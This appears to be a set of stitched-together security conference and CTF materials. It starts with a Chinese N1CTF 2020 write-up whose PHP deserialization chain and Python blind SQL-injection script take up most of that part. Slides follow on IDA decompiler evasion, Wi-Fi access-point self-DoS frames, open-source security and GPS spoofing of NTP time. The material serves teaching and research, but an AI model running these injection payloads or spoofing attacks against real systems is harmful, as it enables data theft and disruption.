$sqlquery=sprintf("INSERT
into
n1ip(`ip`,`time`)
VALUES
('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
粗略一看,源码里 unserialize($input)的大字告诉我们是需要控制传入 input 参数的
反序列化数据来进行一些条件的满足从而来获得 flag
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
最终达成的目的很明显就是运行 flag 类里的 getflag()方法,通过 readfile 来获得
flag
文
件
,
而
想
要
运
行
此
方
法
就
要
满
足
条
件
md5($this->check)===md5("key****************"),并且 key 我们是不知道的,看起
来也没有办法控制,可以控制的话还可以通过传入数组让两边 md5 函数来返回 null 来
进行条件满足,所以我们需要知道这个 key 的值
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT
into
n1ip(`ip`,`time`)
VALUES
('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
然后很自然的将目光投放到上面的 ip 类中,看到此类获取了访问者 XFF 并插入表
中,很自然的就想到了 xff 注入,通过注入来获得 key,来赋值 flag 类中的 check 变量,
而此 mysql 语句放在__toString()中,想要运行此函数就要满足一个对象被当做字符
串对待来触发,所以我们需要寻找一个能够触发__toString()的点
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
分析一下发现,我们传入反序列化数据会触发__wakeup(),此处的 stristr()函数是对传入
参数 1 中查找是否存在参数 2,而参数 1 也就是$this->ip 是我们实例化 flag 时传入的字符
串,属于可控参数,而当我们传入的是 ip 类实例化后的对象时,则刚好触发此 ip 类的
__toString()函数,所以我们此时可以生成序列化数据进行尝试
$flags = new flag(new ip());
$b = serialize($flags);
echo $b;
INSERT
into
admin(`username`,`password`)
VALUES
('user'
and
updatexml(1,concat(0x02,(select database()),0x02),1) and '','123456')
然 后 在 本 地
mysql
尝 试 构 造 了 一 个
insert
注 入
payload: INSERT into
admin(username,password)
VALUES
('user'
or
if(1=1,sleep(3),1)
or
'','123456')本地运行成功,访问目标时提示如图
存在注入检测,应该就是 waf 函数没显示的那些代码,所以无法直接进行注入,需要另
想办法,而__wakeup()函数中有一个可以帮助盲注的点,触发__toString()时,我们可以
通过报错函数来控制返回的字符串是否存在 n1ctf,所以构造注入语句 1.1.1.1' or
updatexml(1,concat(0x01,(select if((1=1),'n1ctf','no str')),0x01),1) or '
提示了 welcome to n1ctf2020,那么只有在传入的值中包含 n1ctf 才会提示这个,
所以很明显是传入的对象成功触发 toString 函数,证明思路是正确的,其中的报错函
数导致 sql 语句报错,使 return 的返回值中包含了 n1ctf,根据这个逻辑去写一个
python 脚本跑一下,我这里使用了一个很实用的 burpsuite 的插件辅助生成个模板
exp
import requests
session = requests.Session()
x = 'qwertyuiopasdfghjklzxcvbnm1234567890'
arr = []
paramsGet
=
{"input":"O:4:\"flag\":2:{s:2:\"ip\";O:2:\"ip\":1:{s:2:\"ip\";s:9:\"127.0.0.
1\";}s:5:\"check\";N;}"}
for start in range(1,30):
for result in x:
#获得表名为 n1key
#
get_tables
=
"'
or
updatexml(1,concat(0x02,(select
if((substring((select
group_concat(table_name)
from
information_schema.tables
where
table_schema='n1ctf_websign'),{},1)='{}'),'n1ctf','no
str')),0x02),1)
or
'".format(start,result)
#获得列名
#
get_column
=
"'
or
updatexml(1,concat(0x02,(select
if((substring((select
group_concat(column_name)
from
information_schema.columns
where
table_name='n1key'
and
table_schema='n1ctf_websign'),{},1)='{}'),'n1ctf','no
str')),0x02),1)
or
'".format(start,result)
#获得 key 值
get_key = "' or updatexml(1,concat(0x02,(select if((substring((select
`key`
from
n1key),{},1)='{}'),'n1ctf','no
str')),0x02),1)
or
'".format(start,result)
headers
=
{"Cache-Control":"no-
cache","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image
/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-
Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36
(KHTML,
like
Gecko)
Chrome/85.0.4183.121
Safari/537.36","Connection":"close","X-Forwarded-
for":"1.1.1.1{}".format(get_key),"Pragma":"no-cache","Accept-Encoding":"gzip,
deflate","Accept-Language":"zh-CN,zh;q=0.9,ar;q=0.8"}
response
=
session.get("http://101.32.205.189/index.php",
params=paramsGet, headers=headers)
if '<code>noip</code>' not in str(response.content):
print('tables:'+result)
arr.append(result)
for res in arr:
print(res,end="")
获得了表名为 n1ip, n1key,这里是因为源码里有数据库名为 n1ctf_websign,所以可
直接跑出表名
获得列名为 id,key
获得 key 为 n1ctf20205bf75ab0a30dfc0c
然后用这个 key 生成序列化数据进行访问,得到 flag | pdf |
IDA Pro
Hex-Rays Decompiler
Simple Tricks
Hello!
aaaddress1(ADR)
1. Reverse Engineering Skills
a. Windows
b. Android
2. TDoHacker Core Member
3. Hack Bot
a. CrackShield / MapleHack
b. Tower Of Savior
c. Facebook
4. CSharp,C/C++,Assembly x86
Python,Smali,Pascal,VB.NET
Outline
➢ 動機
➢ IDA Pro Hex-Rays Decompiler是什麼
➢ 如何理解ASM Opcode並推導出C Code
➢ 意外的Fire Eye欺騙IDA Pro的梗
➢ IDA Pro Hex-Rays Decompiler解析弱點
➢ Q&A
動機
“
F5超好按
→ 分析記憶體
→ 數位鑑識大神
→ 我超會逆向、破解
→ 我超強
→ IDA Pro好棒棒!
如何理解ASM Opcode
並推導出C Code
1. Push 0x12345678
2. Sub Esp,04
mov [esp], 0x12345678
16
Asm to C:Push Stack
1. Pop eax
2. mov eax, [esp]
Add Esp,04
17
Asm to C:Pop Stack
Asm to C:Jmp (GoTo)
18
1. Jmp Addr
2. Push Addr
ret
3. Sub Esp, 04
mov [Esp], Addr
ret
mov eax, 0
→ sub eax,eax //自己減自己,NO GG
→ and eax,0 //eax與0做交集
→ xor eax,eax //自己對自己互斥或,結果為0
19
Asm to C:清空
cmp eax,1
Je 0x12345678
→ sub eax,1
→ Je 0x12345678
20
Asm to C:條件跳躍
cmp eax,1
Jg 0x12345678
→ sub eax,1
→ Jg 0x12345678
21
Asm to C:條件跳躍
cmp eax,1
Jl 0x12345678
→ sub eax,1
→ Jl 0x12345678
22
Asm to C:條件跳躍
cmp eax, 0
Je 0x12345678
→ test eax,eax //編譯器常用老梗
→ Jz 0x12345678
→ Je 0x12345678
23
Asm to C:條件跳躍
cmp eax, 0
Je 0x12345678
→ or eax,eax
→ Je 0x12345678
24
cmp eax,0
Je 0x12345678
→ and eax,eax
→ Je 0x1234578
Asm to C:條件跳躍
MessageBoxA( Arg1, Arg2, Arg3, Arg4);
push Arg4
push Arg3
push Arg2
push Arg1
call MessageBoxA
25
Asm to C: Call
MessageBoxA( Arg1, Arg2, Arg3, Arg4);
push Arg4
push Arg3
push Arg2
push Arg1
push 返回地址
Jmp MessageBoxA
26
Asm to C: Call
MessageBoxA( Arg1, Arg2, Arg3, Arg4);
push Arg4
push Arg3
push Arg2
push Arg1
push 返回地址
push MessageBoxA
ret
27
Asm to C: Call
ASM → C:For
for (int i = 0; i < 500; i++)
{
/*...Do Anything You Want…*/
}
28
ASM → C:For
Project1._GetExceptDLLinfo+FFA - xor eax,eax
Project1._GetExceptDLLinfo+FFC - mov [ebp-0C],eax
Project1._GetExceptDLLinfo+FFF - inc [ebp-0C]
.
.
.
Project1._GetExceptDLLinfo+1002- cmp [ebp-0C],000001F4
Project1._GetExceptDLLinfo+1009- jnge Project1._GetExceptDLLinfo+FFF
29
for (int i = 2; i < 500; i++)
{
/*...Do Anything You Want…*/
}
30
ASM → C:For
Project1._GetExceptDLLinfo+FFA - mov [ebp-0C],00000002
Project1._GetExceptDLLinfo+1001- inc [ebp-0C]
.
.
.
.
Project1._GetExceptDLLinfo+1004- cmp [ebp-0C],000001F4
Project1._GetExceptDLLinfo+100B- jnge Project1._GetExceptDLLinfo+1001
31
ASM → C:For
IDA Pro Hex-Rays
Decompiler解析弱點
小總結
1. IDA Pro 可以識別Push Addr : ret形式跳轉
2. IDA Pro 不善於分析非純粹Jmp、Jl、Je...等
條件/直接跳轉的邏輯順序置換手法(只要
遇到第一個ret後的事情都不管了只記錄
[esp]返回點到哪)
“
以上這樣做邏輯順序置換,
IDA很快就暈了
“
喔,啊所以咧?
這很簡單啊
這可以幹嘛?
說到這個,不得不提一下
AIS3 Crypto3
IDA Pro 解析 Jmp
1. 正常情況下,遇到ret視為函數結束
2. 若找查不到ret則以Jmp當作結尾
3. Jmp在函數內來回跳可做解析
4. Jmp往下跳則無法解析回C(但可點擊至該地址)
5. Jmp往回跳則無法明確解析地址
說到這個,又不得不提一下
Flare-On CTF 2015
IDA Pro在反組譯解析時,
解析到第一個ret或者非迴圈的Jmp即當作函數尾
“
我們要怎麼做出詐欺的Code?
IDA解析小特性:
IDA Pro Decomilper對純暫存器操作不敏感,只對函數
內變數之操作敏感。(例如說:eax,ebx,ecx… etc)
IDA Pro 對單個函數反組譯時(回推C)從函數頭開始往
下遇到第一個ret或者非迴圈的Jmp即當作函數尾。
但是IDA Pro相當重視Push跟Pop兩指令在函數內對堆
棧的變化。(用於確認函數是否平衡堆疊,如果不平衡
就直接不做解析了)
IDA解析小特性:
IDA Pro Decomilper對純暫存器操作不敏感,只對函數
內變數之操作敏感。(例如說:eax,ebx,ecx,… etc)
咦...
我們的C++內的Try不就是...
push Handler
mov eax, fs:[0]
push eax
mov fs:[0],esp
EXCEPTION_DISPOSITION
__cdecl
_except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext )
{
printf( "Hello World”);
return ExceptionContinueSearch;
}
mov eax, [esp]
mov fs:[0], eax
add esp, 8
莫風徵伴侶!
如果各位單身飢渴已久的男、女性對莫風也有興趣,
歡迎到以下網址:
https://ioan.isalways.one
Hello!
aaaddress1(ADR)
Q&A
[email protected] | pdf |
Submitted to DefCon16
Autoimmunity
Disorder in
Wireless LANs
By
Md Sohail Ahmad
J V R Murthy, Amit Vartak
AirTight Networks
Submitted to DefCon16
Disclaimer & About Us
We are no medical doctors – our only
competency is coffee drinking. The last year
we brought to you ‘Café Latte with free
topping of cracked WEP’.
This year we’d like to share with you rather
interesting observations about Wireless LAN
behavior – some of which have an interesting
parallel with a previously known disorder in
medical science.
Submitted to DefCon16
What has Autoimmunity disorder got
to do with Wireless LANs?
1
Submitted to DefCon16
Autoimmunity Disorder
An autoimmune disorder is a
condition that occurs when
the immune system
mistakenly attacks and
destroys healthy body cell.
Submitted to DefCon16
Why it Caught Our Attention?
An autoimmune disorder is a
condition that occurs when
the immune system
mistakenly attacks and
destroys healthy body cell
(or client).
Submitted to DefCon16
Over many late night coding and
debugging sessions, we spotted ..
An autoimmune disorder is a
condition that occurs when
an Access Point mistakenly
attacks and destroys
authorized body cell (or
client).
Not just one.. we spotted
many instances of this
interesting, self-destructive
behavior!
Submitted to DefCon16
So What?
Our findings suggest that new
avenues for launching DoS attacks
are possible. Majority of
vulnerabilities reported here are
implementation dependent and are
found to exist in select open
source AP and commercial Access
Point S/W.
MFP(11w) is also vulnerable
to DoS attacks!
Submitted to DefCon16
Background
2
Submitted to DefCon16
What’s Well Known -- DoS from an
External Source
It is well known that by sending spoofed De-authentication or Dis-
association packets it is possible to break AP to client connections.
A De-authentication packet spoofed with source address = AP MAC
address causes disconnection in client’s state machine.
Likewise, a De-authentication packet spoofed with source address =
Client MAC address causes disconnection in AP’s state machine.
AP
Client
DoS
DoS
Attacker
Submitted to DefCon16
What’s New – Self DoS Triggered by
an External Stimulus
There exist mal-formed packets whose injection can
turn an AP into a connection killing machine.
We’ll demonstrate 8 examples of this behavior
AP
Client
Stimulus
DoS
Attacker
Submitted to DefCon16
Why Does Self DoS Happen?
Standard Protocol specs are often
unclear about how an AP should
respond to malformed frames. Different
AP implementations behave differently.
Some survive, some crash and some
turn themselves into killing machines.
Submitted to DefCon16
An Example from madwifi-0.9.4
Attacker
Client
AP
After three
slides we’ll
show why this
triggers a self
DoS
Submitted to DefCon16
Let the game begin
3
Submitted to DefCon16
WLAN Test Lab
Autoimmunity Disorder Test Requirements
A Raw Frame Injection Tool (e.g. wireshark-inject )
Wireless LAN card (preferable .11abg) connected to BackTrack 2 (Linux
box which supports raw wireless frame injection) box
An operational wireless LAN (with at least one AP and couple of clients)
AP
Clinet2
Clinet1
Submitted to DefCon16
Stimulus for Autoimmunity Disorder
Test
WLAN Frame
Association Request/Response
Re-association Request/Response
Authentication
WLAN Address Fields
Address1, Address2, Address3, Address4
Modified Information Elements (IE)
AP MAC
ADDR
Client
MAC
ADDR
BSSID
MAC
ADDR
Client/Broad
cast MAC
address
AP
MAC
address
BSSID
MAC
ADDR
Submitted to DefCon16
Stimulus #1
Use of Broadcast MAC address in Address 2 Field
Send Broadcast MAC address (FF:FF:FF:FF:FF:FF) as source MAC address
(Address 2 in WLAN Frame Header) in any class 2 or 3 (e.g. TO DS DATA)
frame.
Since FF:FF:FF:FF:FF:FF is a special type address and is not present in Access Point
association table, AP is likely to send Deauthentication Notification frame with Reason
Code “Class 3 frame received from nonassociated station”
Associated STAs honor the Broadcast Disconnection frame and disconnect from
associated AP
Submitted to DefCon16
Stimulus #2
Use of Multicast MAC address in Address 2 Field
Send Multicast MAC address (01:XX:XX:XX:XX:XX) as Source MAC address in
any class 2 or 3 frame (e.g. TODS DATA frame).
Since 01:XX:XX:XX:XX:XX is a multicast address, It does not appear in the AP’s
association table.
On reception of DATA frame with Multicast MAC address as source address, Access
Point is likely to send Disconnection Notification frame with Reason Code “Class 3
frame received from nonassociated station”
All associated node honors the Multicast Disconnection Notification frame and
disconnects from associated AP
Submitted to DefCon16
Stimulus #3
Use of 4 MAC address WLAN Frame
Send 4-MAC address WDS DATA frame with victim’s STA MAC as source MAC
address (Address 2 in WLAN Frame header) in WDS DATA frame.
Access Point not capable to handle 4MAC address DATA frame, likely to send
disconnection notification to that Client
Submitted to DefCon16
Stimulus #4
An Association Request with spoofed Capabilities Field sent to an
Access Point can potentially drops client’s connection at AP and likely to
trigger a response with Status Code 10 (Cannot support all requested
capabilities in the Capability Information field)
Submitted to DefCon16
Stimulus #5
A Reassociation Request with spoofed Current AP Address field sent
to an Access Point can potentially disconnect an associated client and
can trigger a response with Status Code 11 (Reassociation denied due
to inability to confirm that association exists)
Submitted to DefCon16
Stimulus #6
An Authentication frame with invalid Authentication Algorithm sent
to an Access Point can potentially disconnect an associated client and
can trigger a response with Status Code 13 (Responding station does
not support the specified authentication algorithm)
Submitted to DefCon16
Stimulus #7
An Authentication frame with invalid Authentication Transaction
Sequence Number sent to an Access Point can potentially disconnect
an associated client and can trigger a response with Status Code 14
(Received an Authentication frame with authentication transaction
sequence number out of expected sequence)
Submitted to DefCon16
Stimulus #8
An Association Request frame with invalid BSS BasicRateSet
parameter sent to an Access Point can potentially disconnect an
associated client and can trigger a response with Status Code 18
(Association denied due to requesting station not supporting all of the
data rates in the BSS BasicRateSet parameter)
Submitted to DefCon16
Autoimmunity Disorder Report
Yes
No
Yes
Yes
No
Yes
Spoofed
Associati
on
Request
Frame
Yes
Yes
Cisco Model
No AIR-
AP1230A-A-
K9 Firmware
Ver
12.3(2)JA2
Yes
Yes
Buffalo
Model No-
WZR-
AG300NH,
Firmware
ver 1.48
Yes
Yes
Yes
Yes
Spoofed
ReAssoci
ation
Request
Frame
Yes
Yes
Yes
Yes
Spoofed
Authentic
ation
Frame
Madwifi-
0.9.4 driver
with Cisco
Aironet
a/b/g Card
Cisco Model
No AIR-
AP1232AG-A-
K9 Firmware
Ver
12.3(8)JEA3
Linksys
Model No
WRT350N,
Firmware Ver
1.0.3.7
DLink, Model
No DIR-655,
Firmware
Ver 1.1
Attack
Type
Submitted to DefCon16
Autoimmunity Disorder Report
Yes
Yes
No
No
No
Yes
Use of
Multicast
MAC as a
Source
MAC
No
No
Cisco Model
No AIR-
AP1230A-A-
K9 Firmware
Ver
12.3(2)JA2
Yes
Yes
Buffalo
Model No-
WZR-
AG300NH,
Firmware
ver 1.48
Yes
No
No
No
Use of
WDS
DATA
Frame
Yes
No
No
Yes
Use of
Broadcast
MAC as
Source
MAC
Madwifi-
0.9.4 driver
with Cisco
Aironet
a/b/g Card
Cisco Model
No AIR-
AP1232AG-A-
K9 Firmware
Ver
12.3(8)JEA3
Linksys
Model No
WRT350N,
Firmware Ver
1.0.3.7
DLink, Model
No DIR-655,
Firmware
Ver 1.1
Attack
Type
Submitted to DefCon16
Does Cisco MFP also suffer from
Autoimmunity disorder?
4
Submitted to DefCon16
MFP Background
The root cause of disconnection based DoS vulnerability in 802.11
is that management frames used for connection establishment and
termination are not protected. Hence, a connection can easily be
terminated by spoofing these frames.
Management Frame Protection MFP (or 802.11w) aims to solve
this problem by protecting connection termination frames.
MFP Enabled
AP
MFP Enabled
Client
Stimulus Spoofed
Disconnection Frame to AP
AP and Client are
in associated state.
Data port Open for
client
Attacker
Stimulus Spoofed
Disconnection Frame to CL
Unprotected,
Disconnection
Frame
Discarded By
AP
Unprotected,
Disconnection
Frame
Discarded By
Client
Submitted to DefCon16
Autoimmunity Disorder in MFP
Infrastructure WLANs
Autoimmunity Disorder in MFP (L)APs
Details will be provided during
presentation !!!
Submitted to DefCon16
Autoimmunity Disorder in MFP
Infrastructure WLANs
Autoimmunity Disorder in MFP Clients
Details will be provided during
presentation !!!
Submitted to DefCon16
Autoimmunity Disorder Report of
MFP Protocol
Details will be provided during
presentation !!!
Submitted to DefCon16
The key take away
5
Submitted to DefCon16
The Key Point
Without MFP protection
New avenues for launching DoS
attacks are possible. Majority of
vulnerabilities reported here are
implementation dependent and are
found to exist in select open
source AP and commercial Access
Point S/W.
With MFP protection
DoS vulnerabilities could not be
completely eliminated. Even MFP
was found vulnerable!
Submitted to DefCon16
Food for Thought
A fix for MFP vulnerability has already
been attempted in the latest 11w draft.
Future revisions of 11w draft will continue
to raise the bar & try to make 802.11 DoS
attack proof.
Will the dream of attack proof 802.11 be
ever realized?
Submitted to DefCon16
References
www.cs.ucsd.edu/users/savage/papers/UsenixSec03.pdf
http://en.wikipedia.org/wiki/IEEE_802.11w
http://www.cisco.com/en/US/tech/tk722/tk809/technologies_configur
ation_example09186a008080dc8c.shtml
Submitted to DefCon16
Contact Us
Md Sohail Ahmad
[email protected]
Amit Vartak
[email protected]
J V R Murthy
[email protected] | pdf |
O P E N S O U R C E FA I R Y D U S T
JOHN MENERICK
S E C U R I T Y
D R A G O N @
N E T S U I T E
T H E V I E W S A N D O P I N I O N S E X P R E S S E D H E R E A R E M Y O W N O N LY A N D I N N O WAY R E P R E S E N T T H E V I E W S ,
P O S I T I O N S O R O P I N I O N S - E X P R E S S E D O R I M P L I E D - O F M Y E M P L O Y E R ( P R E S E N T A N D PA S T ) O R A N Y O N E E L S E .
M Y T H O U G H T S A N D O P I N I O N S C H A N G E F R O M T I M E T O T I M E ; T H I S I S A N AT U R A L O F F S H O O T O F H AV I N G A N
O P E N A N D I N Q U I S I T I V E M I N D .
S E C U R I T Y
D R A G O N @
N E T S U I T E
T H E V I E W S A N D O P I N I O N S E X P R E S S E D H E R E A R E M Y O W N O N LY A N D I N N O WAY R E P R E S E N T T H E V I E W S ,
P O S I T I O N S O R O P I N I O N S - E X P R E S S E D O R I M P L I E D - O F M Y E M P L O Y E R ( P R E S E N T A N D PA S T ) O R A N Y O N E E L S E .
M Y T H O U G H T S A N D O P I N I O N S C H A N G E F R O M T I M E T O T I M E ; T H I S I S A N AT U R A L O F F S H O O T O F H AV I N G A N
O P E N A N D I N Q U I S I T I V E M I N D .
WHAT WE ARE NOT TALKING ABOUT
WHAT WE ARE TALKING ABOUT
THE INTERNET - CIRCA 2007
THE INTERNET - CIRCA 2007
NO ONE SAID IT WAS SECURE
NO ONE SAID IT WAS SECURE
NO ONE SAID IT WAS SECURE
OOPS!
OOPS!
” O P E N S O U R C E I S M O R E S E C U R E . ”
OOPS!
” O P E N S O U R C E I S M O R E S E C U R E . ”
OOPS!
INTERNET SOCIETY PRESIDENT
EVERYBODY’S JOB IS NOBODY’S JOB
EVERYBODY’S JOB IS NOBODY’S JOB
“This is a story about four people named
EVERYBODY’S JOB IS NOBODY’S JOB
“This is a story about four people named
Everybody,
EVERYBODY’S JOB IS NOBODY’S JOB
“This is a story about four people named
Everybody,
Somebody,
EVERYBODY’S JOB IS NOBODY’S JOB
“This is a story about four people named
Everybody,
Somebody,
Anybody, and
EVERYBODY’S JOB IS NOBODY’S JOB
“This is a story about four people named
Everybody,
Somebody,
Anybody, and
Nobody.
EVERYBODY’S JOB IS NOBODY’S JOB
“This is a story about four people named
Everybody,
Somebody,
Anybody, and
Nobody.
EVERYBODY’S JOB IS NOBODY’S JOB
There was an important job to be done and Everybody was asked to do it.
EVERYBODY’S JOB IS NOBODY’S JOB
Everybody was sure
EVERYBODY’S JOB IS NOBODY’S JOB
Somebody would do it.
EVERYBODY’S JOB IS NOBODY’S JOB
Anybody could have done it, but
EVERYBODY’S JOB IS NOBODY’S JOB
Nobody did it.
EVERYBODY’S JOB IS NOBODY’S JOB
Somebody got angry about that,
EVERYBODY’S JOB IS NOBODY’S JOB
because it was
EVERYBODY’S JOB IS NOBODY’S JOB
Everybody's job.
EVERYBODY’S JOB IS NOBODY’S JOB
Everybody thought
EVERYBODY’S JOB IS NOBODY’S JOB
Anybody could do it but
EVERYBODY’S JOB IS NOBODY’S JOB
Nobody realized that
EVERYBODY’S JOB IS NOBODY’S JOB
Everybody wouldn't do it.
EVERYBODY’S JOB IS NOBODY’S JOB
It ended up that Everybody blamed Somebody when Nobody did what Anybody could
have done.”
EVERYBODY’S JOB IS NOBODY’S JOB
It ended up that Everybody blamed Somebody when Nobody did what Anybody could
have done.”
EVERYBODY’S JOB IS NOBODY’S JOB
It ended up that Everybody blamed Somebody when Nobody did what Anybody could
have done.”
EVERYBODY’S JOB IS NOBODY’S JOB
It ended up that Everybody blamed Somebody when Nobody did what Anybody could
have done.”
Financial
Fun
Hobbyist
Activist
Financial
Fun
Hobbyist
Activist
“ O P E N S O U R C E P R O J E C T S P L AY A C R U C I A L R O L E I N
T H E D I G I TA L A G E B U T A R E M A I N TA I N E D B Y A S M A L L ,
S T R A I N E D C A D R E O F V O L U N T E E R S . ”
Functionality
Usability
Performance
Security
Stability
Compliance
Usability
Performance
Security
Stability
Compliance
Usability
Performance
Security
Stability
Performance
Security
Stability
Performance
Stability
Performance
Stability
” T H E R E A R E L O T S O F C R I T I C A L L I B R A R I E S M A I N TA I N E D
B Y V O L U N T E E R S T H AT A R E N O T G I V E N E N O U G H
AT T E N T I O N ”
C / C++
C / C++
”WHEN YOU CARRY POINTERS AROUND AND
CANNOT TRACK WHETHER THEY ARE ALIVE AND
HOW LONG THEY ARE, IT'S GOING TO HURT.”
JAVA
JAVA
“IT IS NOT LIKE JAVA GOT INSECURE ALL OF A
SUDDEN. IT HAS BEEN INSECURE FOR YEARS.”
PHP
NO STRATEGY
NO SECURITY CONTACT OR REPORTING DEFINED
Inconsistent coding styles, usage, or complex code
”System administrators hate change when they have to bear the
brunt of adverse effects of change.”
CHANGE IS HARD
”System administrators hate change when they have to bear the
brunt of adverse effects of change.”
WHAT
DO WE
DO
NOW?
DEMOS
Hadoop HDFS 2.4.1
Free Radius 3.0.3
Exim
(AND SO CAN YOU!)
WHAT IS YOUR INCENTIVE?
FULL DISCLOSURE
STREET CRED
LULZ
TOOLING
TUNING AND CORRELATION
TUNING AND CORRELATION
TUNING AND CORRELATION
• hacktheplanet.ninja/index.html
O N E M O R E
T H I N G …
2788: char name[PATH_MAX]; // 4,096 Bytes
2802: fscanf is 33,554,431 bytes | pdf |
Using GPS Spoofing to Control Time
Dave/Karit (@nzkarit) – ZX Security
Defcon 2017
www.zxsecurity.co.nz
@nzkarit
Dave, Karit, @nzkarit
Security Consultant at ZX Security in
Wellington, NZ
Enjoy radio stuff
Pick Locks and other physical stuff at
Locksport
whoami
2
www.zxsecurity.co.nz
@nzkarit
3
www.zxsecurity.co.nz
@nzkarit
GPS (Global Positioning
System)
GPS Spoofing on the cheap
Let’s change the time!
So what?
Attacking NTP Servers
How we can detect spoofing
Today
4
www.zxsecurity.co.nz
@nzkarit
Tells us where
we are
Tells us the time
GPS
5
www.zxsecurity.co.nz
@nzkarit
Anyone in the room not currently trust GPS
locations?
Anyone in the room not currently trust GPS
time?
Anyone feel that this will change by the end of
the talk?
We Trust GPS Right? Right?????
6
www.zxsecurity.co.nz
@nzkarit
GPS too important to life?
GPS must be great and robust? Right?
Important services rely on it:
Uber
Tinder
You have to trust it right?
7
www.zxsecurity.co.nz
@nzkarit
NTP Time Source
Plane Location
Ship Location
Tracking Armoured Vans
Taxi law in NZ no longer knowledge
requirement
And some other things as well
8
www.zxsecurity.co.nz
@nzkarit
So why don’t I trust it?
9
www.zxsecurity.co.nz
@nzkarit
Have GPS jammers to mess with Uber
Black Cabs in London
10
www.zxsecurity.co.nz
@nzkarit
Jammers Boring………
11
www.zxsecurity.co.nz
@nzkarit
Nation State
12
www.zxsecurity.co.nz
@nzkarit
A University
13
www.zxsecurity.co.nz
@nzkarit
The Chinese are in the NTPs
14
www.zxsecurity.co.nz
@nzkarit
Now we are talking
15
www.zxsecurity.co.nz
@nzkarit
A box
An SDR with TX
I used a BladeRF
HackRF
USRP
So less US$500 in hardware
Also some aluminium foil to make a Faraday Cage
So it is now party trick simple and cheap
This is the big game changer from the past
What we need
16
www.zxsecurity.co.nz
@nzkarit
Setup
17
www.zxsecurity.co.nz
@nzkarit
Make sure you
measure signal
outside to ensure
none is leaking
Be careful
@amm0nra patented Faraday Cage
18
www.zxsecurity.co.nz
@nzkarit
INAL (I’m not a lawyer)
GPS isn’t Open Spectrum
So Faraday Cage
Keep all the juicy GPS goodness to
yourself
The Law
19
www.zxsecurity.co.nz
@nzkarit
Your SDR kit is going to be closer to the device
So much stronger signal
Got to have line of sight though
GPS Orbits ~20,000 km
So signals weak
Signal is weaker than the noise floor
Remember
20
www.zxsecurity.co.nz
@nzkarit
Noise Floor
21
www.zxsecurity.co.nz
@nzkarit
Got some simulator software and a
bladeRF what could people get up to?
Right so what can we do?
22
www.zxsecurity.co.nz
@nzkarit
A trip to Bletchley Park?
23
www.zxsecurity.co.nz
@nzkarit
Two methods, first one two steps
1. Generate the data for broadcast
About 1GB per minute
Static location or a series of locations to make a path
Has an Almanac file which has satellite locations
Uses Almanac to select what satellites are required for
that location at that time
2. Broadcast the data
How does the tool work?
24
www.zxsecurity.co.nz
@nzkarit
Generate in real time
Need a fast enough computer
1. Generate and broadcast
How does the tool work?
25
www.zxsecurity.co.nz
@nzkarit
By default only 5 mins of transmit data
Need to change a value in code for longer
Approx. 1GB a minute hence the limit
Pi3 about three times slower than real time, so must be
precomputed
Pi3 there is a file size limit
<4GB from my experience, so 4-5 minutes of broadcast per
file
Can just chain a series of pre computed files together
Limitations of tool
26
www.zxsecurity.co.nz
@nzkarit
To do the path give the generator a series of
locations at 10Hz
Can’t just give a series of lat/long in a csv
ECEF Vectors or
NMEA Data rows
There are convertors online ☺
Generate a Path
27
www.zxsecurity.co.nz
@nzkarit
A Path
28
www.zxsecurity.co.nz
@nzkarit
with GPS location spoofing
So what can we do?
29
www.zxsecurity.co.nz
@nzkarit
Keep an armoured van
on track as you take it
to your secret
underground lair
Have a track following
its normal route while
drive it somewhere
else
$$$
30
www.zxsecurity.co.nz
@nzkarit
Uber trip with no distance?
31
www.zxsecurity.co.nz
@nzkarit
Queenstown Airport Approach
32
www.zxsecurity.co.nz
@nzkarit
For places like Queenstown planes have Required
Navigation Performance Authorisation Required (RNP
AR)
When not visual conditions
As approach is through valleys
Can’t use ground based instrument landing systems
If go off course going to hit the ground
Planes
33
www.zxsecurity.co.nz
@nzkarit
NTPd will take GPS over
serial out of the box
The NTP boxes also use
NTPd behind the UI
NTPd uses it own
license, so easy to spot
in manuals etc
Can we use this to change time?
34
www.zxsecurity.co.nz
@nzkarit
If you move time too much >5min NTPd
shutdown
No log messages as to why
When starting NTP you get “Time has been
changed”
And NTP will accept the GPS even if it differs
greatly from the local clock
NTP
35
www.zxsecurity.co.nz
@nzkarit
With debugging enabled
Feb 24 02:36:21 ntpgps ntpd[2009]: 0.0.0.0
0417 07 panic_stop +2006 s; set clock
manually within 1000 s.
Feb 24 02:36:21 ntpgps ntpd[2009]: 0.0.0.0
041d 0d kern kernel time sync disabled
If we turn the logging up
36
www.zxsecurity.co.nz
@nzkarit
If NTPd crashes but starts via watchdog
or a manual restart
Will people look deeper?
Will people check the time is correct?
Would a Sys Admin notice?
37
www.zxsecurity.co.nz
@nzkarit
We can’t do big jumps in time
We will have to change time in steps
So how can we move time?
38
www.zxsecurity.co.nz
@nzkarit
Python Script
Wraps the real time version of the GPS Simulator
Moves time back in steps
So as not to crash NTPd
Talked in more detail at Kiwicon 2016
Slides:
https://zxsecurity.co.nz/presentations/201611_Kiwicon-
